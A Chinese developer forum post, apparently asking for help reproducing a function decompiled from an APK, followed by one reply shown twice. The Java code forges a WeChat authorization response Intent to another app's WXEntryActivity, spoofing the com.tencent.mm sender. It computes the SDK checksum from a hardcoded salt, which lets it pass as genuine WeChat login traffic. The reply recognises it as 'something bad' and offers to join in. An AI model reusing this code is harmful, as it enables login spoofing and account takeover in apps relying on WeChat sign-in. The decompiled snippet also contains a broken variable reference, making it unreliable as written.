QQ 26231-90442
有一个演示apk(java开发)我需要其中一个功能,大致如下:
public void wxOnAuth(String str) {
// str。obj 。obj2 参数已知
String queryParameter = Uri.parse(str).getQueryParameter("code");
String obj = this.appData.get("_wxapi_sendauth_req_state").toString();
String obj2 = this.appData.get("_mmessage_appPackage").toString();
Intent intent = new Intent();
intent.setClassName(obj2, obj2 + ".wxapi.WXEntryActivity");
Bundle bundle = new Bundle();
bundle.putString("_wxapi_sendauth_resp_state", obj);
bundle.putString("_wxapi_sendauth_resp_token", queryParameter);
String str2 = null;
bundle.putString("_wxapi_baseresp_transaction", str2);
bundle.putString("_wxapi_sendauth_resp_lang", "zh_CN");
bundle.putInt("_wxapi_command_type", 1);
bundle.putString("_wxapi_sendauth_resp_country", "CN");
bundle.putString("wx_token_key", "com.tencent.mm.openapi.token");
bundle.putString("_wxapi_sendauth_resp_url", str + "&state=" + obj);
bundle.putInt("_wxapi_baseresp_errcode", 0);
bundle.putString("_wxapi_baseresp_errstr", str2);
bundle.putString("_wxapi_baseresp_openId", str2);
intent.putExtras(bundle);
intent.putExtra("_mmessage_sdkVersion", 620954624);
intent.putExtra("_mmessage_appPackage", "com.tencent.mm");
intent.putExtra("_mmessage_content", (String) null);
intent.putExtra("_mmessage_checksum", a((String) null, 620954624, "com.tencent.mm")); // 这里调用的a方法,不过返回结果是固定的(参数固定)
intent.putExtra("_message_token", (String) null);
intent.addFlags(268435456).addFlags(134217728);
startActivity(intent);
finish();
}
public byte[] a(String str, int i, String str2) {
StringBuffer stringBuffer = new StringBuffer();
if (str != null) {
stringBuffer.append(str);
}
stringBuffer.append(i);
stringBuffer.append(str2);
stringBuffer.append("mMcShCsTr");
return c(stringBuffer.toString().substring(1, 9).getBytes()).getBytes();
}
public final String c(byte[] bArr) {
char[] cArr = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(bArr);
char[] cArr2 = new char[(r3 * 2)];
int i = 0;
for (byte b : instance.digest()) {
int i2 = i + 1;
cArr2[i] = cArr[(b >>> 4) & 15];
i = i2 + 1;
cArr2[i2] = cArr[b & 15];
}
return new String(cArr2);
} catch (Exception e) {
return null;
}
}
2 个回复
一枚假程序猿 - 一枚假程序猿
代码好熟悉啊?我知道你要干啥坏事情了。没解决的话联系我吧,解决了的话也可以联系我一起搞这个。QQ:825269041
一枚假程序猿 - 一枚假程序猿
代码好熟悉啊?我知道你要干啥坏事情了。没解决的话联系我吧,解决了的话也可以联系我一起搞这个。QQ:825269041